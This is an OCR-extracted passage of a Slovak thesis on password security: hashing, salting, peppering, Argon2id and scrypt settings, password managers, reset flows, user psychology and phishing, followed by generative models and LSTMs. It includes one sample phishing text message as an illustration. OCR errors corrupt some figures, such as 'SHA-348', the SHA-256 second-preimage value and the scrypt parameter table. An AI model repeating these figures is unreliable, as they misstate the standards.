Pri ukladani hesiel je kriticky ddlezité ochranit’ ich pred pripadnym utocnikom, aj
v pripade napadnutia stranky alebo databazy. V&acésina modernych ramcov poskytuje
funkcie umoznujice bezpecne uloZit' hesld. Ak je ale uto¢nik schopny ziskat uloZené
hesla, resp ich hash hodnoty, je moZné pomocou offline brute force Gtoku, ziskat’ pdvodné

hesla.
Medzi odporucania navrhnuté organizaciou OWASP patri

- Pouzitie Argon2id s konfigurdciou min. 19 MB pamate, 2 iteraciami a 1 stupfiom

paralelizmu
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- Pre starSie systému vyuzivajice bcrypt pouzit’ pracovny faktor >10 a limit hesla 72
Bajtov

- Zvazit pouzitie techniky pepper na poskytnutie dostato¢nej ochrany

1.5.1 Hash

Hashovanie a $ifrovanie mézu chranit’ citlivé udaje, avsak ak sa jedna o hesla, tieto by mali
byt vyhradne hashované, nie Sifrované. Hashovanie je jednosmerna funkcia, tzn. nie je
mozné vysledny hash deSifrovat’ a ziskat’ tak povodnu hodnotu. Oproti tomu Sifrovanie je
obojsmerna funkcia, to znamend, ze je mozné pomocou zaSifrovanych udajov ziskat

povodny tzv. plain text.

Silné hesla ulozené pomocou modernych hash algoritmov a overenych postupov by malo
byt takmer nemozné prelomit’. Ak ale tieto opatrenia nie st dodrzané, existuju situacie,
kedy je uto¢nik schopny tento hash prelomit’. Napr. ak si obet’ zvolila heslo ,,password1“.
Pre tento string mozeme vypocitat’ hash a porovnat’ ho s hashom obete. Toto sa nazyva
hladanie kolizii kde je dobrym nastrojom hashcat. Ak sa zhoduju, hash je prelomeny, a je
zndma hodnota plain textu. Utoénici na tieto udeli ¢asto vyuzivaji tzv. hash tables ziskané

z napadnutych stranok alebo Brute-force utoky. [49]

Hashovaci algoritmus je pouzivany na transformovanie sprav akejkol'vek dizky na sthrn
alebo odtlacok spravy s pevne danou dizkou. Hashovacie algoritmy, ktoré st schvalené na
generovanie tychto ,odtlackov® alebo sthrnnych sprav st Specifikované v dvoch
federalnych Standardoch spracovania informacii, ato v FIPS 180-4 a FIPS 202. FIPS
(Federal Information Processing Standards). Jedna sa o sériu Standardov vytvorenu
federdlnou vladou USA. Konkrétne Standardy su Secure Hash Standard, resp. SHA-3

Standard, kde st prave tieto algoritmy Specifikované.

Prvy z nich obsahuje sedem Hash algoritmov SHA-1 a SHA-2 skupinu, v ktorej si SHA-
224, SHA-256, SHA-348, SHA-512, SHA-512/224 a SHA-512/256, z ktorych su
najpouzivanejSie prave SHA-256 a SHA-512. Tieto st zaroven aj odporucané, nakolko
vroku 2011 NIST zakazal pouzivanie SHA-1 algoritmu na zéklade potencialneho
prelomenia pomocou brute-force utoku. FIPS 202 specifikuje novd rodinu funkcii
zaloZenych na permutaciach SHA-3, v tejto skupine su SHA3-224, SHA3-256, SHA3-384
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a SHA3-512. V sucasnosti su schvalenymi len tieto $tyri algoritmy SHA-3 s pevnou dizkou
a poskytuju tak alternativy pre SHA-2 skupinu algoritmov.

Hashovacia funkcia by mala spliiat’ tieto zakladné vlastnosti:

- Odolnost’ vo¢i kolizii — existuju dva typy bezkoliznosti, slaba a silna. Slaba
znamené, ze ak je X sprava, ah je vypocet hashu je nemozné najst’ x’ také, ze
h(x) = h(x"). Silna znamené, Ze je vypocetne nemozné najst’ dve spravy x # x',
kde h(x) = h(x").

- Preimage resistance — z nahodne vybranej hash hodnoty nie je mozné vypoctovo
najst’ vstupnt spravu, ktord by zodpovedala tejto hash hodnote. To znamena, Ze
hashovanie je jednosmerna funkcia.

- Second preimage resistance — je nemozné najst’ druhy vstup, ktory ma rovnaky

vystup ako ktorykol'vek iny Specifikovany vstup.
Pre tietofunkcie teda plati, ze L(M) je definované ako :

len(M)

L(M) = log,

Kde len(M) je dizka spravy M v bitoch a B je dizka bloku funkcii taktiez v bitoch. Pre
najpouzivanejSie algoritmy SHA-256 kde B = 512 a SHA-512, kde B = 1024 platia tieto
hodnoty.

SHA-256 ma odolnost’ voéi kolizii 128 bitov, preimage resistance 256 bitov a second
prreimage resistance 225 - L(M). SHA-512 ma odolnost’ vo¢i kolizii 256 bitov, preimage

resistance 512 bitov a second preimage resistance 512 — L(M). [62]

1.5.2 Salting hesiel

Salting je jedine¢ny, ndhodne generovany retazec znakov, ktory je pridany ku kazdému
heslu ako sucast’ hashovania. Ked’Ze tento salt je jedine¢ny pre kazdého uZivatela, Gto¢nik
musi postupne prelomit’ hash pomocou prislusného saltu, namiesto jednoduchého vypoctu

hesla a porovnania ho suloZzenymi. Tento krok teda vyrazne stazuje prelomenie hashov.
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Pomocou tejto ochrany je tiez mozné zabranit’ tzv. rainbow table utokom. Taktiez nie je
mozné z hashu urcit, ¢i dvaja pouzivatelia maju rovnaké heslo, pretoze pridanie saltu,

vedie k roznym vystupnym hodnotdm hashovacich funkcii [49]

Hashing
User Password Salt Added Algorithm Hashed Password + Salt

Apple — AppleyrtZd — t‘. —  153107b3a79cc2{78b9526aa6bd40c34
yrtZd

N /
\ Password Store

£53107b3a79cc2{78b9526aa6bd40c34

yrtzd

Obrézok 13. Princip saltingu hesiel a ich ukladanie [50]
1.5.3 Peppering hesiel

Okrem saltingu je mozné pridat’ aj peppering hesiel, predstavujici d’alSiu uroven ochrany.
Aplikovany s cielom zamedzenia tGto¢nikovi prelomit’ akykol'vek z hashov, aj ked’ ma
pristup k databaze napriklad zneuzitim zranitel'nosti SQL Injection. Pridanie pepperingu

neovplyviiuje funkciu hashovania, len doplni uz salted heslo o d’alsi ret'azec.

Jednou stratégiou je Standardné hashovanie s pouzitim HMAC (Hash-based message

authentication code) eSte pred uloZzenim do databazy, pricom peppering funguje prave ako

kIa¢ HMAC.

Kracovym rozdielom oproti saltingu je, ze pepper sa zdiel'a medzi uloZzenymi heslami a nie
je jedine¢ny pre kazdé heslo ako salt. Pepper by narozdiel od saltu, nemal byt uloZeny

Vv databaze, na uloZenie pepperu by mali byt’ vytvorené separatne ,trezory®. [49]
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Obrazok 14. Ukazka hesla s pridanim saltingu a pepperingu [51]
1.5.4 Pracovné faktory

Pracovné faktory st pocet iteracii daného hash algoritmu vykonavanych pre kazdé heslo.
Zvycajne je uloZzeny vo vystupe hash. Vd’aka tomuto kroku je vypocet hashu vykonovo
naroc¢nejsi a priamo zvysuje naklady a dobu potrebnl na prelomenie hashu uto¢nikom. Pri
vybere vhodného pracovného faktoru je potrebné najst’ kompromis medzi bezpecnost'ou
a vykonom. Vys$i pracovny faktor sice stazi utocnikovi prelomenie hashu, ale zaroven
spomali proces overovania pokusu o prihlasenie. Ak je teda tento faktor prili§ vysoky,
mbze to viest k znizeniu vykonu aplikacie, ¢o zase moze Uto¢nik vyuzit na vykonanie
utoku typu DDoS, scielom vycerpat serverovy CPU velkym poétom pokusov

o0 prihlasenie.

Vyhodou aplikovania pracovného faktoru do aplikdcie je mozZnost’ tento faktor ¢asom
zvySovat’ tak, aby bol vzdy Umerny aktudlnym vykonovym Standardom dostupného
hardvéru. [49]
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1.5.5 Ostatné hashovacie algoritmy

Hashovacie algoritmy s v dne$nej dobe vel'mi ¢asto vyuzivané. Okrem Standardnych
hashovacich algoritmov ako si SHA-2 a SHA-3 vsak existuju aj také, ktoré su priamo

navrhnuté na hashovanie hesiel. Medzi najlepsie patria tieto.

1.5.5.1 Argon2id

Argon2 sa stal vitazom ,,Password Hashing Competition* v roku 2015. Ma viacero verzii,
kde dobrou je Argon2ld, vd’aka vyvazenému pristupu k odolnosti Gtokom side-channel aj
GPU-based. Namiesto pracovného faktoru vyuziva tri rézne konfigurovatelné parametre.
Prvym je minimalna velkost pamite m, d’alej minimalny pocet iteracii t a stupne

paralelizmu p. OWASP odporuca nasledovné konfiguracie

- m = 47104 (46 MiB),t = 1,p = 1 (Nepouzivat’ pri Argon2i)
- m = 19456 (19 MiB),t = 2,p = 1 (NepouZivat’ pri Argon2i)
- m = 12288 (12 MiB),t = 3,p = 1

Pouzitim tychto konfiguracii by mal byt zabezpeceny rovnaku uroven obrany, jedinym

rozdielom je kompromis medzi CPU a RAM vyuzitim. [49]

1.5.5.2 scrypt

Jednd sa o funkciu odvodenia kl'i¢a zaloZenti na hesle. Tento algoritmus by mal byt
pouzity ak Argon nie je k dispozicii. Scrypt algoritmus ma taktiez konfigurovatelné
parametre, avsak trochu rozdielne. Minimalne nédklady na CPU/pamit’ N, velkost’ bloku r,

stupen paralelizmu p. Pri tomto algoritme OWASP odportca tieto nastavenia. [49]

= 217 (128 MiB), r = 8 (1024 bajtov), p = 1
= 216(64 MiB), r = 8 (1024 bajtov), p = 2
= 215(32 MiB), r = 8 (1024 bajtov), p = 3
= 214(16 MiB), r = 8 (1024 bajtov), p = 5
= 213(8 MiB), r = 8 (1024 bajtov), p = 10

= =2 =2 =2 =
I
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1.6 Spréava a obnovenie hesiel

Sprava hesiel, alebo password management, je subor pravidiel, zdsad a overenych
postupov, ktoré je nutné dodrzat pri ukladani hesiel tak, aby boli hesla zabezpecené

a zabranilo sa neopravnenému pristupu. [56]

1.6.1 Password management tools

Nastroje na spravu hesiel, zvané aj Password Managers, st vhodnym prostriedkom, ktory
minimalizuje problémy sposobené pamitanim si silnych komplexnych hesiel. Pocet I'udi
ktory ich ale pouZiva je relativne nizky. Niektoré zdroje poukazuju na to, ze 'udia im

jednoducho neveria, alebo o nich ani nevedia. [52]

1.6.1.1 BitWarden

Bitwarden je spravca hesiel, fungujuci s vac¢sinou modernych platforiem ako Windows,
MacQS, Linux, Android iPhone a podobne. Je tieZ dostupny vo forme doplnkov do

prehliadacov.

Cim je ale jedine¢ny je to, Ze sa jedna open source projekt s moznostou bezplatného
pouzivania ale aj platenej verzie premium. Je mozné ulozit’ si dont neobmedzeny pocet
prihlaseni, poznamok a podobne, do ktorych je pristup z F'ubovolného poctu zariadeni.

Obsahuje generator ndhodnych hesiel a tiez dvojfaktorova autentifikaciu. [53]

Bitwarden pouziva AES-CBC 256-bitové Sifrovanie pre datovy sejf a PBKDF2, SHA256
alebo Argon2 na odvodenie Sifrovacieho kl'i¢a. Heslo je vzdy Sifrované a hashované na
lok&lnom zariadeni pred odoslanim na servery. Server Bitwarden sa pouziva iba ako
tilozisko Zifrovanych udajov. Udaje z data vault je mozné desifrovat iba pomocou kl'i¢a
odvodeného z hlavného hesla ktoré bolo zadané, ¢o zarucuje pristup len uzivatel'ovi ktory

ho vytvoril a teda len on moéze desifrovat’ udaje. [54]

1.6.1.2 1Password

1Password je spravca hesiel a digitalna trezorova aplikécia navrhnuta na ochranu a spravu
hesiel a citlivych informacii. Tato aplikacia je navrhnutd tak, aby zjednodusila proces

riadenia hesiel a zabezpecila ucty pred datovymi tinikmi.
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Tato aplikacia vSak nie je zdarma, pontka 14 diova skuSobnu licenciu a nasledne je
k dispozicii za cca 36 dolarov ro¢ne. Pontika mnozstvo funkcii a kompatibilitu naprie¢

platformami rovnako ako BitWarden.

Navyse vsak disponuje funkciami ako obnovenie dat pri vypadku alebo zlyhani. Umoziuje
vytvaranie personalizovanych kolekcii s trezormi a uctami, ktoré chce uzivatel’ vidiet. Ma
zlepSenu integraciu medzi MacOS verziou a variantou pre webovy prehliada¢. A obsahuje
rozsiahlu funkciu autofill schopnu samostatne, ktora dava moznost’ automaticky zadavat’

ulozené hesla do doveryhodnych aplikacii a webovych stranok. [55]

1.6.2 Obnovenie hesiel

Ked'Ze hesla su stale najcastejSim spdsobom autentifikacie a naroky na ich zlozitost’ rastU,
stava sa, ze uzivatel heslo zabudne. V tomto pripade je mozné pomocou réznych postupov
a systémov heslo obnovit, a ziskat’ tak strateny pristup ku kontu alebo datam. Nakolko
v8ak tento proces ,,obchadza“ nutnost’ znalosti pdvodného hesla, je vel'mi zaujimavy aj pre

utocnikov.

Obnovenie alebo resetovanie hesla je zakladny mechanizmus pri managemente
pouzivatel'skych Gétov na webovych strankach. Vacsinou je tato funkcionalita pristupna
pomocou hypertextového odkazu ,, zabudnuté heslo?. Ked uzivatel' spusti thto
funkcionalitu, je systémom vygenerovany unikatny hypertextovy odkaz, ktory je odoslany

na emailovd adresu priradenu k aétu. [56]
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X

Zadajte heslo

Obrazok 15. Link na obnovenie hesla [zdroj vlastny]

Po Kkliknuti na tento hypertextovy odkaz v emaile, je uzivatel' presmerovany na Stranku,
kde zadd nové heslo. Prave z bezpecnostnych dovodov tieto unikatne linky byvaju
jednorazové aplatné len uréity cas. Z pohladu vyvojarov sa ako best practice pri
implemetacii tejto funkcionality javi pouzivanie resetovacich tokenov, teda jedineénych,
Casto zaSifrovanych retazcov znakov s cielom zabezpecit, ze tato ziadost’ je legitimna.

Dal§imi spésobmi ochrany si obmedzenie poétu Ziadosti alebo captcha kody. [56]

1.7 Heselna psychologia a pouzivatel’ské navyky

Hesla, hoci maju kriticki tlohu, s ¢asto zneuzivané kvoli P'udskym faktorom, ako st
kognitivne skreslenia, zld rozhodovacia schopnost a nedostatocné povedomie. Pre
dosiahnutie vysSej bezpecnosti a zmiernenie rizik spojenych so zranitelnostami hesiel je

nevyhnutné porozumiet’ psychologii tvorby a spravy hesiel. [57]

1.7.1 Psychologické faktory ovplyviiujtice tvorbu hesiel

LCudia st nachylni ku kognityvnym predsudkom ovplyviiujicim aj spravanie pri vytvarani

hesiel. Medzi takéto predsudky mozu patrit’ napr. tieto. [57]
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1.7.1.1 Heuristika dostupnosti

Pri rozhodovani sa T'udia vac¢Sinou spolichaji na 'ahko dostupné informacie, v kontexte
hesiel to mozno vnimat ako tendenciu vytvarat' l'ahko uhadnutelné hesld na zaklade

osobnych udajov, beznych slov a podobne. [57]

1.7.1.2 Potvrdzovanie zaujatosti

Pouzivatel moZze vyhladavat’ informdcie, ktoré potvrdzuju, ze jeho zlozité¢ heslo je
dostatocne bezpecné, alebo ze urcity sposob ukladania hesiel je G€inny, ¢im sa potvrdzuja
presvedcenia pouzivatel'ov o zabezpeéeni hesla a ¢asto vedie k falosSnému pocitu bezpecia

alebo odporu proti prijimaniu bezpeénejsich postupov. [57]

1.7.1.3 Predsudok optimizmu

Znama veta ,to sa mi stat nemoOze“. Pri tomto pripade sa jedna o podcenenie
pravdepodobnosti narusenia bezpecnosti a moznosti odcudzenia Uctu. Alebo na druhe;j
strane precenenie schopnosti zapamadtat’ si prili§ zlozité heslo, ¢o znova vedie k pouzivaniu

slabych hesiel a ich opakovaniu. [57]
1.7.2 Pouzivatel’ské navyky a chyby

1.7.2.1 Opidtovné pouZivanie hesla

Pouzivanie a recyklovanie rovnakého hesla vo viacerych uctoch je nebezpecné, nakolko
pri kompromitacii jedného G¢tu ma Gto¢nik automaticky pristup ku vSetkym tctom s tymto

heslom, ked’ze pouZzivatel'ské meno je Casto zdielané (napr. email). [57]

1.7.2.2 Slabé hesla

Vyber slabych alebo 'ahko uhadnutelnych hesiel vystavuje data vo¢i mnozstvu ttokov,
nakol’ko takéto heslo nedokéaze sofistikovanejSim Gtokom a vicsej vypoctovej sile odolat’.

Toto Gto¢nikom vyrazne ul'ahéuje ziskanie pristupu k iétom a citlivym datam. [57]

1.7.2.3 Zanedbanie aktualizacie hesla

Aktualizacia dlhodobo platnych hesiel je dolezity proces, ktory by nemal byt odkladany.

Utoky hrubou silou mézu uhadnut’ spravne heslo po dlhej dobe, omu aktualizovanim
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hesla zabranime. V dnesnej dobe uz vdésinou nie su aktualizacie vyzadované tak ¢asto, no
treba brat’ do ivahy neustéle sa zvySujiice vypoctové vykony zariadeni, pricom hesla, ktoré

boli napr. pred desiatimi rokmi povazované za bezpecné, dnes uz byt nemusia. [57]

1.7.3 Socialne inZinierstvo a phishing

Socialne inzinierstvo je technika utoku, pri ktorej Gto¢nik vyuziva interakciu s 'udmi na
ziskanie alebo kompromitovanie informacii, ku ktorym by $tandardne nemal mat’ pristup.
Ciel'om uto¢nika je byt nenapadny, pri¢om sa snazi o infiltraciu. To méZe realizovat’ napr.
vydavanim sa za zamestnanca, opravara a podobne. Kladenim otazok moéze byt schopny
ziskat' dostatok informacii na infiltraciu do organizacie. Pripadne ak ziska dostatok
informécii od jedného zdroja, moze kontaktovat’ iny zdroj z tej istej organizacie a pouzit’
informacie od prvého zdroja na zvySenie doveryhodnosti, moze pouzit' prvky ako tzv.
jazyk firmy. V tomto pripade sa jednd o hovorové nazvy miestnosti, budov a podobne,

ktoré su v kolektive firmy zauzivané. [68]

Phishing je formou socialneho inzinierstva. Phishingové Gtoky najCastejsSie vyuzivaju email
a webové stranky na ziskavanie citlivych informacii. Su posielané s ciel'om oklamat’ obet’
tak, aby si myslela, Ze sa jedna o legitimnu webovi stranku. Utoénik napriklad moze
poslat’ email, ktory zdanlivo pdsobi ako email spolo¢nosti (Casto si vyuzivané preklepy a
podobne), ktory obsahuje podvrhnuty odkaz na faloSnu webstranku, ktora je vsak Casto
vizualne rovnaka ako legitimna stranka, takze obet’ nemusi ni¢ zistit. Po zadani
prihlasovacich, platobnych alebo inych citlivych idajov st vSak namiesto spracovania
legitimnou webstrankou, poslané atoénikovi. Tieto utoky ¢asto vyuzivaji aktualne udalosti
a urcité iné faktory vytvarajiice Casotu tiesett a tym tak cielia na zneistenie aj pozornejsej

obete. [68]
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Vas balik bol zadrzany z dovodu
chybajuceho cisla domu.
Skontrolujte a aktualizujte spravnu
adresu:

Obrazok 16. Priklad phishingovej textovej spravy [zdroj viastny]

1.8 Uvod do generativnych modelov

Dnesné klasifikatory v oblasti strojového ucenia si mozu byt zalozené na logistickej
regresii, support vector machines, supervised feed-forward deep neural networks
a podobne. Vsetky z tychto modelov su sustredené na diskrimina¢ny proces klasifikacie.
V tomto procese modelujd hranicu rozhodnutia medzi triedami na zaklade tréningovych
dat. Oproti tomu, generativne modely pracuju inak. Tieto modely predpokladaja, ze data su
vytvorené rozloZenim pravdepodobnosti, ktora je potom odhadnuta a distribuovana vel'mi
podobne tej povodnej. Vypocet pravdepodobnosti cielovej premennej zalozenej na danej
vstupnej premennej je nasledne spocitany nad touto vygenerovanou distribliciou
pravdepodobnosti. Oba klasifikatory, diskrimina¢né aj generativne, mozu vykonavat tie
isté ulohy, nakol'ko poslednym krokom je vypocet podmienenej pravdepodobnosti cielovej

premenne;.

Generativne modely maji sucasné pouzitie ako silny nastroj extrakcie vlastnosti, pri
regresii, clusteringu a Kklasifikacii, rozpoznavanie vzorov a nasledné generovanie a iné.
Pouzitie tychto generativnych modelov je dolezité z dvoch dévodov. Prvym je ich pouzitie
na vyber indikujdcich features a ulah¢enie klasifikacie s cielom zlepSenia presnosti
modelu. Druhym je moznost ich aplikovania na generovanie realistickych vzoriek dat, ¢o

je nie€o, coho nie su diskrimina¢né modely schopné. [43]
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Obréazok 17. Klasifikacia roynzch generativnzch modelov podl’a Machine Learningu (ML)
a Deep Learningu (DL) [43]

1.9 Typy generativnych modelov

1.9.1 Gaussian mixture model (GMM)

Gaussove rozlozenie, inymi slovami normalne rozlozenie, je spojit¢ rozdelenie pre
premenné s realnymi hodnotami a je symetrické okolo priemeru. Pravdepodobnost’ vyskytu
dat je teda vysSia v okoli z Tava aj z prava strednej hodnoty. Oproti tomu krajné Casti,

vzd’alujlice sa od priemeru maji pravdepodobnost’ vyskytu bliziacu sa k nule. [43]

UST

H3 Yy a2

Obrézok 18. Viacero reprezentacii Gaussovho rozlozenia. 7 zna¢i vahu, J zna¢i strednd
hodnotu a p znaci rozptyl [43]
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Vahy jednotlivych zloziek v kazdom z Gaussovych rozlozeni maju sucet 1. Nakol'ko sa
jedna o distribuénu funkciu teda rozpozenie pravdepodobnosti. To znamena ze sGcet
vSetkych pravdepodobnosti bude 1. Pretoze tento Gaussov mixture model je v jednej

dimenzii, kazdy z clusterov moze byt identofikovany trojicou premennych danych ako (i,

Wi, pi®).

GMM su povazované za generaliziciu K-means clusteringového algoritmu, nakolko ten
dokédze detekovat’ clustery v kruhovom tvare. GMM dokaze tieto clustery formovat
v podlhovastej polohe, a lepsie tak vystihniit’ ich realny tvar. GGM mozu byt oznacované
ako clustering algoritmus, avsak je korektnejSie oznaCovat’ ich za algoritmus na odhad
hustoty. [43]

Obrazok 19. Clustering dat vykonany pomocou GGM (vl'avo) a K-means algoritmu
(vpravo) pre podlhovasté data [43]

1.9.2 Variational autoencoders (VAE)

Pri pouziti generativnych modelov. Mo6Ze uzivatel jednoducho chciet’ vygenerovat
nadhodny vystup, ktory je podobny trénovacim datam. Toto sa da realizovat’ aj pomocou
VAEs. Avsak VAE castejSie sliZia na objavovanie moZnosti a variacii existujicich dat v
zmysluplnom kontexte a smerovani, nie vylu¢ne nahodne. Toto je prave oblast’ kde VAE

pracuju najlepsie.

Autoenkodérova siet’ je par prepojenych sieti enkodéra a dekodéra. Enkodér zoberie vstup

a konvertuje ho na mensie, hustejSie reprezentdcie, Dekodér sa snazi rekonStruovat’
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originalne data na zéklade tejto latentnej reprezentécie. Takyto enkodér sa tiez pouziva
Vv konvolu¢nych sietach. Konvoluéné vrstvy akéjkol'vek konvoluénej siete vezmu vAacsi
obrézok a konvertuji ho na mensie a hustejSie. Tato hustejSia reprezentacia je potom

pouzitd plne prepojenou klasifikatorovou sietou, ktora klasifikuje obrazok.

Encoder

Feature maps

Convolutions Subsampling Convolutions Subsampling Fully connected

Obréazok 20. Enkodér v konvoluénej sieti [44]

Standardne je enkodér trénovany spolu s ostatnymi &astami siete a optimalizovany
pomocou back-propagation. Vo vysledku teda autoenkodér rekonStruuje svoj vlastny
vstup. Enkodér mé& menej jednotiek ako vstup, a teda musi sa rozhodnuat’ zni¢it’ nejaké data.
Taktiez sa u€i uchovavat ¢o najrelevantnejSie informacie pri obmedzenom enkodingu
a mazat’ nerelevantné Casti. Dekodér sa nauéi spravne rekonStruovat’ data z enkodéra do

povodného obrazu. Tieto Casti spolu formuju autoenkodér. [44]

—» Encoder » Encoding} Decoder —»

Obrazok 21. Standardny autoenkodér [44]
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VAEs maju jednu fundamentalne odlisnti cast’, ktora ich oddeluje od Sstandardnych
autoenkodérov a zarovei Cast’, ktora ich robi uzito¢nymi pre generativne modelovanie. Ich
latentné priestory su podl'a navrhu spojité, ¢o umoziuje jednoduché ndhodné vzorkovanie
a interpolaciu. Toto je umoznené tym, ze enkodér nevyvola kédovaci vektor o vel'kosti n,
ale vygeneruje dva vektori o velkosti n ato vektoru strednej hodnoty p a vektor
Standardnej odchylky o . [44]

l Input

Dense - 500

Y
Dense - 120

Sample - 30
|/
Dense - 120

Y

Dense - 500

l Output

Obrézok 22. Varia¢ny autonekdodér [44]

Vo vysledku to teda znamenad, Ze tato stochasticka generacia spdsobi to, Ze aj pre rovnaky
vstup, kde stredna hodnota a Standardna odchylka zostanti rovnaké, vystup sa moze trochu
lisit" pri kazdom jednom priebehu, prave vdaka vzorkovaniu. Vektor strednej hodnoty

ovlada, kde by malo byt kédovanie centrované a odchylka urcuje oblast’, ako vel'mi sa
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moze kddovanie lisit. To znamend, ze vystup mdze byt vygenerovany kdekol'vek vnutru
Lkruhu“, ¢o znamena urciti oblast okolo tohto bodu, resp. oblast, ktora je blizSie k
stredovej hodnote a teda nachddza sa vo wvnutri rozsahu definovaného odchylkou.
Z pohl'adu dekodéra to znamena, Ze sa musi naucit’ prijimat’ cela oblast’ blizkych bodov

spadajucu pod jednu triedu a nie primat’ len jeden bod. [44]

1.9.3 Generative adversarial network (GAN)

GAN je framework hlbokej neuronovej siete, ktory je schopny ulit’ sa z trénovacej
mnoziny anasledne generovat nové data srovnakymi charakteristikami ako majd

tréningové data.

Jej zloZenie pozostava z dvoch neurdnovych sieti, generatora a diskriminatora, ktoré spolu
superia. Generator je zvyCajne trénovany aby produkoval nepravé data a diskriminator je
trénovany tak, aby rozliSir generované nepravé data od skuto¢nych prikladov. Ak generator
vyprodukuje neprave data, ktoré diskriminator s 'ahkostou odhali napriklad pri generovani
tvare. Ak generator vytvori obraz, ktory ani z d’aleka nepripomina tvar, tento generator je
penalizovany. Postupom c¢asu sa tak generator nau¢i generovat data, ktoré sa viac

podobaja skutonym.

Pri posielani vstupov do siete sa nahodne vyberaju tieto vstupy z generdtorom vytvorenych
nepravych dat a skutoénych dat. PriCom diskriminator nevie, o data z ktorej skupiny sa
jedna. Pri zaCiatku spustenia, ked’ eSte model nie je natrénovany, je vystup generatora
vel'mi Tahko odlisitelny. Ked'ze tento vystup z generatora je potom priamo posielany do
diskriminatora ako vstup, méze byt na klasifikovany vystup z diskrimintora aplikovany
algoritmus backpropagation a naprie¢ celym systémom upravit’ vahy generatora. Postupom
Casu sa tak stdva vystup GAN viac realistickym a generator je tak schopny produkovat

data blizke realnym.

Diskriminator pozostadva z jednoduchého binarneho klasifikatora s vhodnou funkciou.
Vystupom z neho potom modze byt pole, kde dve ¢isla znacia odhad diskriminatoru ¢i sa

jedna o skuto¢ny alebo nepravy vstup. [45]
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Obrazok 23. Diagram $truktary GAN [46]

1.9.4 Long Short-Term Memory Networks (LSTM)

ss0|
Jojelauan

RNN (Recurent Neural Network) model je ¢asto pouzivany na manipulovanie sekvencnych

dat pri strojovom uceni. Aj napriek obmedzeniam v kontexte dlhodobych stvislosti kvéli

miznicemu gradientu pri viacerych procesoch backpropagation. LSTM siet’ by mala

zmierfiovat’ slabé stranky RNN pre dlhodobé suvislosti. Jednd sa teda o paméitovo

posilnend verziu RNN, schopni spracovat dlhSie sekven¢né tdaje s nizSou mierou

miznutia gradientu ako iné algoritmy. LSTM ma dodato¢nu struktiru bunkového stavu vo

vrstve znamej ako blok LSTM, aby bolo moZné ucenie sa dlhodobych zavislosti. Hlavny

princip je mozné vysvetlit pomocou buniek pamati a nelinearnych bran, udrzujucich stav

a regulujucich tok informacii.

RNN ma vel'mi jednoducht Strukttiru s aktivaénou funkciou tanh.
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Obrazok 24. Zjednoduseny diagram RNN [47]

Oproti tomu ma LSTM, namiesto jednoduchej siete s jedinou aktiva¢nou funkciou viacero

komponentov, ktoré umoziiuju sieti zabudnut’ a zapamadtat’ si informacie.

6? ® ®

(oo ‘\ 1»
Actl] bt Tl | LeArtl],

|
&) ) &

Neural Network Pointwise Vector
Layer Operation Transfer

Concatenate Copy

Obréazok 25. Zjednoduseny diagram LSTM [47]

Komponentami LSTM s:
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Bunka, ktora je jadrom LSTM modelu a je zodpovednd za uchovavanie informéacii v
priebehu Casu. Vstupna brana, ktord riadi kol’ko informacii z aktualneho vstupu sa prida do
stavu bunky. Brana zabudnutia riadiaca kolko informacii z minulého stavu bunky sa

zabudne. A vystupna brana, tato riadi kolko informacii z aktudlneho stavu bunky sa

vygeneruje ako vystup.
Output Gate *

Cell State from I Cell State to
timestamp =t-1 _® timestamp =1+ 1
Hidden state input ! Hidden state

(from -y ‘ -’ output for
timestamp = t- 1) — timestamp =t + 1

Input Data;
Timestamp =1

Obrazok 26. Diagram struktary LSTM [47]

Stav bunky (cell state) je prvy komponent LSTM, ktory prechadza celou jednotkou LSTM.
D4 sa povazovat’ za dopravny pas. Tento bunkovy stav je dolezity pre zapamitivanie a
zabudanie. Je to zaloZeny na kontexte vstupu, ¢o znamena, ze niektoré z predchadzajucich
informdcii by sa mali zapamétat’, zatial’ ¢o niektoré z nich by sa mali zabudnlt’ a niektoré

nové informdcie by sa mali pridat’ do pamiite.

Brana zabudnutia: ak informacia uz nie je potrebna v stave bunky, je odstranena pomocou
brany zabudnutia. Téato rozhodovacia schopnost’ je zabezpecena pomocou vstupov X,
(vstup v ur¢itom case) a h,_,(predosly vystup bunky), na ktoré s aplikované vahové
matice. Vysledok je posunuty cez sigmoidu, sigmoida je podobnad funkcii tanh avsak
namiesto hodndt medzi -1 a 1 poskytuje hodnoty medzi 0 a 1. Vystupom tejto funcie je
hodnota , reprezentovand f, aje medzi 1 a0. Oznacuje sa ako aktivacia forget gate.

Rozhoduje o tom, ktoré informacie by mali prejst’ d’alej. Hodnota blizka 1 znamena, Ze
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siet’ chce zachovat’ va¢sinu informacii, zatial’ ¢o hodnota blizka 0 znamena, Ze siet’ chce

vacsinu informacii zahodit’. [47]

Obrazok 27. Diagram brany zabudnutia LSTM [71]

Vstupna brana: Pridanie uzito¢nej informacie do stavu bunky je realizované vstupnou
branou. Informacie si najskor regulované pomocou sigmoidy. Nasledne su filtrované
hodnoty, ktoré maji byt zapamitané podobne ako pri brane zabudnutia pomocou X; a
h:_,. Potom je pomocou funkcie tanh vytvoreny vektor, ktory poskytne vystup od -1 do 1
obsahujuci vSetky mozné hodnoty z X; a h,_; pri¢om sa nakoniec hodnoty tohoto vektora
a hodnoty regulované sigmoidnou funkciou vynasobia aby sa ziskali uzito¢né informacie.
[71]
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Obrazok 28. Diagram vstupnej brany LSTM [71]

Vystupna brana: jej hlavnou tlohou je extrahovat’ uzito¢né informacie z aktualneho stavu
bunky, ktoré maji byt prezentované ako vystup. Najskor je vygenerovany vektor pomocou
funkcie tanh na bunku. Néasledne st informacie regulované pomocou sigmoidy a filtrované
podl'a hodnét, ktoré sa maju zapaméitat’ zo vstupovX; a h,_;. Nakoniec sa regulované
hodnoty a hodnoty vektora z tanh vynasobia a st odoslané ako vystup do d’alsej bunky.
[71]
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Obrazok 29. Diagram vystupnej brany LSTM [71]

To vo vysledku znamena, Zze LSTM dokaze udrzat’ informéciu dlhs§ie pomocou zabudania
a spominania si na informacie, ¢o je zapriCinené vyssie zmienenymi komponentami, teda

bunkovym stavom a tromi branami. [47]
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Il. PRAKTICKA CAST
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2 ANALYZA EXISTUJUCICH RIESENI

2.1 Nastroj na odhad sily hesla - zxcvbn

V rdmci analyzy dat je pouzita kniznica zxcvbn. Tato kniznica sa pouziva na posudenie
kvality hesla. Dokaze rozoznat' 30 000 beznych hesiel, mien a priezvisk, popularne slova

z wikipédie a podobne.

V zéklade, tento nastroj kontroluje ako ,,bezné* je heslo na zaklade viacerych zdrojov. Za
bezné je mozné povazovat’ hesla z datovych sad uniknutych hesiel a uz spominanych mien
